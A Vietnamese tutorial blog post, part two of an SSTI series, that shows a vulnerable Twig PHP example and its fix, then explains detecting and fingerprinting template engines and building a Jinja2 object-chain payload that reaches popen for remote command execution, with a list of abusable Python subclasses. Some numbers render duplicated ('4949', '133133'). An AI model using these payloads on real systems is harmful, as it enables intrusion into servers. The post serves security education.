+3

Server-side template injection vulnerabilities (SSTI) - Các lỗ hổng SSTI (phần 2)

II. SSTI trong các template và cách ngăn chặn (tiếp)

3. Template Twig trong PHP

Twig là một template engine cho PHP, được thiết kế để phân tách logic xử lý từ giao diện người dùng của ứng dụng. Twig cung cấp các cú pháp dễ đọc và dễ viết để tạo ra các template dynamic trong ứng dụng, cho phép tạo ra các trang web tương tác với người dùng một cách dễ dàng và linh hoạt hơn. Xét ví dụ như sau:

<?php
    require_once 'vendor/autoload.php';
    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
    $templates = array(
        'hello' => 'Hello '. $name,
    );    
    $loader = new \Twig\Loader\ArrayLoader($templates);
    $twig = new \Twig\Environment($loader);
    $output = $twig->render("hello");
    echo $output;
?>

Đoạn mã trên lấy giá trị biến $name từ input người dùng bằng phương thức GET, thêm vào biến $templates và render ra giao diện. Dẫn tới lỗ hổng SSTI do quá trình render có thể thực thi các payload do kẻ tấn công gán vào giá trị biến $name. Chẳng hạn, với input {{7*7}}, sau khi render giao diện trả về kết quả 4949:

image.png

Để ngăn chặn SSTI, lập trình viên nên thực hiện render template trước, sau đó mới thay thế giá trị các tham số vào output. Đoạn code sau đã được sửa và ngăn chặn hiệu quả:

<?php
    require_once 'vendor/autoload.php';
    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
    $templates = array(
        'hello' => 'Hello {{name}}',
    );    
    $loader = new \Twig\Loader\ArrayLoader($templates);
    $twig = new \Twig\Environment($loader);
    $output = $twig->render("hello", array('name' => $name));
    echo $output;
?>

image.png

III. Khai thác lỗ hổng SSTI

Toàn bộ quá trình khai thác lỗ hổng SSTI tương đối phức tạp, bao gồm nhiều bước khác nhau. Chúng ta có thể nhìn tổng quan qua sơ đồ sau:

image.png

hình ảnh từ https://portswigger.net/

Cùng lần lượt tìm hiểu, phân tích ý tưởng thực hiện trong từng bước:

1. Detect - phát hiện

Detect luôn là hành động đầu tiên kẻ tấn công cần thực hiện để khai thác SSTI. Cần xác định ứng dụng có xảy ra lỗ hổng hay không, vị trí xảy ra lỗ hổng? Thông thường, với các vị trí hiển thị input người dùng ra giao diện sẽ tồn tại khả năng xảy ra lỗ hổng SSTI. Các payload được sử dụng để xác nhận lỗ hổng thường dựa trên các phép tính đơn giản (Chẳng hạn phép tính 777*7), với cú pháp của từng template khác nhau.

Ví dụ với input {{7*7}}, khi giao diện trả về kết quả của phép tính 77=497*7=49 hay bất kỳ một chuỗi "kỳ lạ" nào khác không phải {{7*7}} thì bạn có thể bước đầu xác định ứng dụng tồn tại lỗ hổng SSTI. Ví dụ cho thấy ứng dụng xảy ra lỗ hổng SSTI:

image.png

Ngoài ra, chúng ta cũng có thể phát hiện lỗ hổng SSTI với payload ${{<%[%'"}}%\. theo trang PayloadsAllTheThings. Giao diện sẽ trả về kết quả error trong hầu hết mọi trường hợp template sử dụng:

image.png

2. Identify - Nhận dạng

Sau khi phát hiện khả năng ứng dụng xảy ra lỗ hổng SSTI, chúng ta cần thực hiện bước tiếp theo - Nhận dạng template được sử dụng. Việc xác định template đang hoạt động sẽ giúp chúng ta xây dựng payload tấn công hiểu quả. Từng template sẽ render thực thi input và trả về các kết quả khác nhau, dựa vào đặc trưng này chúng ta có thể xác định chính xác template đang được sử dụng. Bạn đọc có thể tham khảo sơ đồ thống kê với các template thông dụng:

image.png

hình ảnh từ https://portswigger.net/

Chúng ta có thể thử nhiều input để xác định, một số input thường dùng có thể kể đến như ${7*7}, {{7*7}}, {{7*'7'}}, a{*comment*}b, ... Ví dụ, với input {{7*'7'}}, nếu kết quả trả về là 7777777 thì có thể xác định template đang sử dụng là Jinja2.

Cũng có thể sử dụng các input gây ra error cho ứng dụng nhằm thu thập thông tin template qua các thông báo lỗi. Các input dẫn đến error thường dùng: ${}, {{}}, <%= %>, ${7/0}, {{7/0}}, <%= 7/0 %>, ...

image.png

Ngoài ra có thể tự động hóa bằng công cụ như https://github.com/epinna/tplmap.

3. Exploit - Khai thác

Sau khi đã xác định template đang hoạt động của ứng dụng, chúng ta sẽ đến với bước khai thác. Chúng ta cần đưa ra các payload nhằm tìm kiếm, xác định các thông tin quan trọng. Bước này yêu cầu chúng ta cần nắm vững các khái niệm cơ bản, trong mục này tôi sử dụng Python làm ví dụ.

__class__ trả về lớp của đối tượng hiện tại. Ví dụ:

class Person:
    def __init__(self, name):
        self.name = name

person = Person("Alice")
print(person.__class__)  # Output: <class '__main__.Person'>

Trong tình huống ứng dụng không chứa cơ chế filter, chúng ta luôn có thể truy cập các đối tượng '', (), []. Kết hợp với __class__, chẳng hạn với payload ''.__class__

image.png

__bases__ cho phép truy cập tới lớp cha của đối tượng hiện tại. Ví dụ:

class Animal:
    def __init__(self, name):
        self.name = name

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)
        self.breed = breed

dog = Dog("Buddy", "Golden Retriever")
print(dog.__class__.__bases__)  # Output: (<class '__main__.Animal'>,)

Chúng ta cần truy cập đến lớp Object trong ứng dụng - là lớp cha của các lớp str, tuple, list. Chẳng hạn với payload ().__class__.__bases__:

image.png

__subclasses__() trả về danh sách các lớp con của đối tượng hiện tại. Ví dụ:

class Animal:
    def __init__(self, name):
        self.name = name

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)
        self.breed = breed

class Cat(Animal):
    def __init__(self, name, color):
        super().__init__(name)
        self.color = color

class Poodle(Dog):
    def __init__(self, name):
        super().__init__(name, "Poodle")

print(Animal.__subclasses__())  # Output: [<class '__main__.Dog'>, <class '__main__.Cat'>]

Xem danh sách tất cả lớp con của lớp Object trong ứng dụng. Payload ().__class__.__bases__[0].__subclasses__()

image.png

Đây là danh sách các lớp có thể tận dụng để xây dựng payload. Ví dụ chúng ta nhận thấy class os._wrap_close có thể sử dụng:

image.png

Class này là phần tử có số thứ tự 133133 trong danh sách trên.

image.png

__init__ là phương thức khởi tạo lớp, ví dụ:

class Dog:
    def __init__(self, name, breed):
        self.name = name
        self.breed = breed

dog = Dog("Buddy", "Golden Retriever")
print(dog.name)   # Output: Buddy
print(dog.breed)  # Output: Golden Retriever

Chúng ta thường sử dụng __init__ làm cơ sở gọi __globals__.

__globals__ trả về tất cả module, phương thức, biến có thể sử dụng. Payload: ().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__. Chúng ta đang cố gắng tìm kiếm các phương thức có thể tận dụng thực thi lệnh terminal, chẳng hạn phương thức popen:

image.png

Lúc này chúng ta đã nâng mức độ ảnh hưởng lỗ hổng SSTI lên RCE, payload ().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('id').read()

image.png

Việc xây dựng payload có sự thay đổi trong từng trường hợp, với mỗi ứng dụng danh sách lớp con có thể tận dụng thường khác nhau. Dưới đây là một số subclasses thông dụng:

_frozen_importlib._ModuleLock
_frozen_importlib._DummyModuleLock
_frozen_importlib._ModuleLockManager
_frozen_importlib._installed_safely
_frozen_importlib.ModuleSpec
_frozen_importlib_external.FileLoader
_frozen_importlib_external._NamespacePath
_frozen_importlib_external._NamespaceLoader
_frozen_importlib_external.FileFinder
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
codecs.StreamRecoder
os._wrap_close
_sitebuiltins._Printer
types.DynamicClassAttribute
types._GeneratorWrapper
warnings.WarningMessage
warnings.catch_warnings
contextlib._GeneratorContextManagerBase
contextlib._BaseExitStack

Bạn đọc có thể luyện tập thực hiện một kịch bản tấn công khai thác lỗ hổng SSTI đầy đủ với bài lab Server-side template injection with a custom exploit.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí